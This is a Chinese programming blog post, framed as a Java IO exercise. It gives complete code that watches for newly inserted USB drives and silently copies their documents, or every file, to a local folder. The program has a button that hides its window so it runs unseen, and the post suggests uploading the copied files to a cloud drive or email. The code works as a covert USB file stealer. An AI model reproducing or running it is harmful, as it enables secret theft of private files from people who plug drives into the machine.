程式的功能是,檢查隨身碟,並將隨身碟的內容自動拷貝到系統的某個盤符中。分享給大家,就當作是練習io流的小練習。
這個小程式的實現方法如下:
1、程式運行後隔一斷時間就檢查系統的盤符有沒有增加,通過File.listRoots()可擷取系統存在的盤符。
2、如果盤符增加了,遍曆這個新增加的盤符,用位元組流拷貝檔案到指定的路徑。
需要注意的是,由於隨身碟的內容可能很大,所以拷貝的時候最好指定要拷貝的檔案類型,如ppt,doc,txt等等。
下面是這個小程式的相關代碼:
在CopyThread類中可以指定要複製的檔案類型,大家在fileTypes數組中加入相應的檔案尾碼名即可。如果要複製所有檔案,將其設為null就行了。在CopyFileToSysRoot類中可以指定儲存的路徑,當然,如果願意的話,你可以將檔案上傳到網盤,郵箱等等
一、USBMain類,程式入口:
import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import javax.swing.JButton;import javax.swing.JFrame;public class USBMain {public static void main(String[] args) {USBMain u = new USBMain();u.launchFrame();//開啟盤符檢查線程new CheckRootThread().start();}// 介面private void launchFrame() {final JFrame frame = new JFrame();frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);frame.setLocation(450, 250);JButton hide = new JButton("點擊隱藏視窗");// 點擊按鈕後隱藏視窗事件監聽hide.addActionListener(new ActionListener() {public void actionPerformed(ActionEvent e) {frame.setVisible(false);}});frame.add(hide);frame.pack();frame.setVisible(true);}}
二、CheckRootThread類,此類用於檢查新盤符的出現,並觸發新盤符檔案的拷貝。
import java.io.File;//此類用於檢查新盤符的出現,並觸發新盤符檔案的拷貝public class CheckRootThread extends Thread {// 擷取系統硬碟符private File[] sysRoot = File.listRoots();public void run() {File[] currentRoot = null;while (true) {// 當前的系統硬碟符currentRoot = File.listRoots();if (currentRoot.length > sysRoot.length) {for (int i = currentRoot.length - 1; i >= 0; i--) {boolean isNewRoot = true;for (int j = sysRoot.length - 1; j >= 0; j--) {// 當兩者盤符不同時,觸發新盤符檔案的拷貝if (currentRoot[i].equals(sysRoot[j])) {isNewRoot = false;}}if (isNewRoot) {new CopyThread(currentRoot[i]).start();}}}sysRoot = File.listRoots();//每5秒時間檢查一次系統硬碟符try {Thread.sleep(5000);} catch (InterruptedException e) {e.printStackTrace();}}}}
三、CopyThread類,用於檔案遍曆並選擇指定檔案格式進行複製:
import java.io.File;
//該類用於對新盤符檔案的複製
public class CopyThread extends Thread {
// 設定要複製的檔案類型,如果要複製所有格式的檔案,將fileTypes設為null即可
private static String[] fileTypes = {"ppt","doc","txt","wps"};
// private static String[] fileTypes = null;
File file = null;
public CopyThread(File file) {
this.file = file;
}
public void run() {
listUsbFiles(file);
}
//遍曆盤符檔案,並匹配檔案複製
private void listUsbFiles(File ufile) {
File[] files = ufile.listFiles();
for (File f : files) {
if (f.isDirectory()) {
listUsbFiles(f);
} else {
if (fileTypeMatch(f))
new CopyFileToSysRoot(f).doCopy();
}
}
}
//匹配要複製的檔案類型
public boolean fileTypeMatch(File f) {
//fileTypes為null時,則全部複製
if (fileTypes == null) {
return true;
} else {
for (String type : fileTypes) {
if (f.getName().endsWith("." + type)) {
return true;
}
}
}
return false;
}
}
四、CopyFileToSysRoot類,複製檔案的IO流實現:
import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;//檔案複製IOpublic class CopyFileToSysRoot {// 複製檔案儲存路徑private static final String PATH = "D:USB";private File file = null;public CopyFileToSysRoot(File file) {this.file = file;}// 複製檔案public void doCopy() {BufferedInputStream bis = null;BufferedOutputStream bos = null;try {//建立目錄File fPath = new File(getFileParent(file));if (!fPath.exists()) {fPath.mkdirs();}bis = new BufferedInputStream(new FileInputStream(file));bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,file.getName())));byte[] buf = new byte[1024];int len = 0;while ((len = bis.read(buf)) != -1) {bos.write(buf, 0, len);bos.flush();}} catch (FileNotFoundException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();} finally {try {if (bis != null)bis.close();} catch (IOException e) {e.printStackTrace();}try {if (bos != null)bos.close();} catch (IOException e) {e.printStackTrace();}}}// 根據盤符中檔案的路徑,建立複製檔案的檔案路徑public String getFileParent(File f) {StringBuilder sb = new StringBuilder(f.getParent());int i = sb.indexOf(File.separator);sb.replace(0, i, PATH);return sb.toString();}}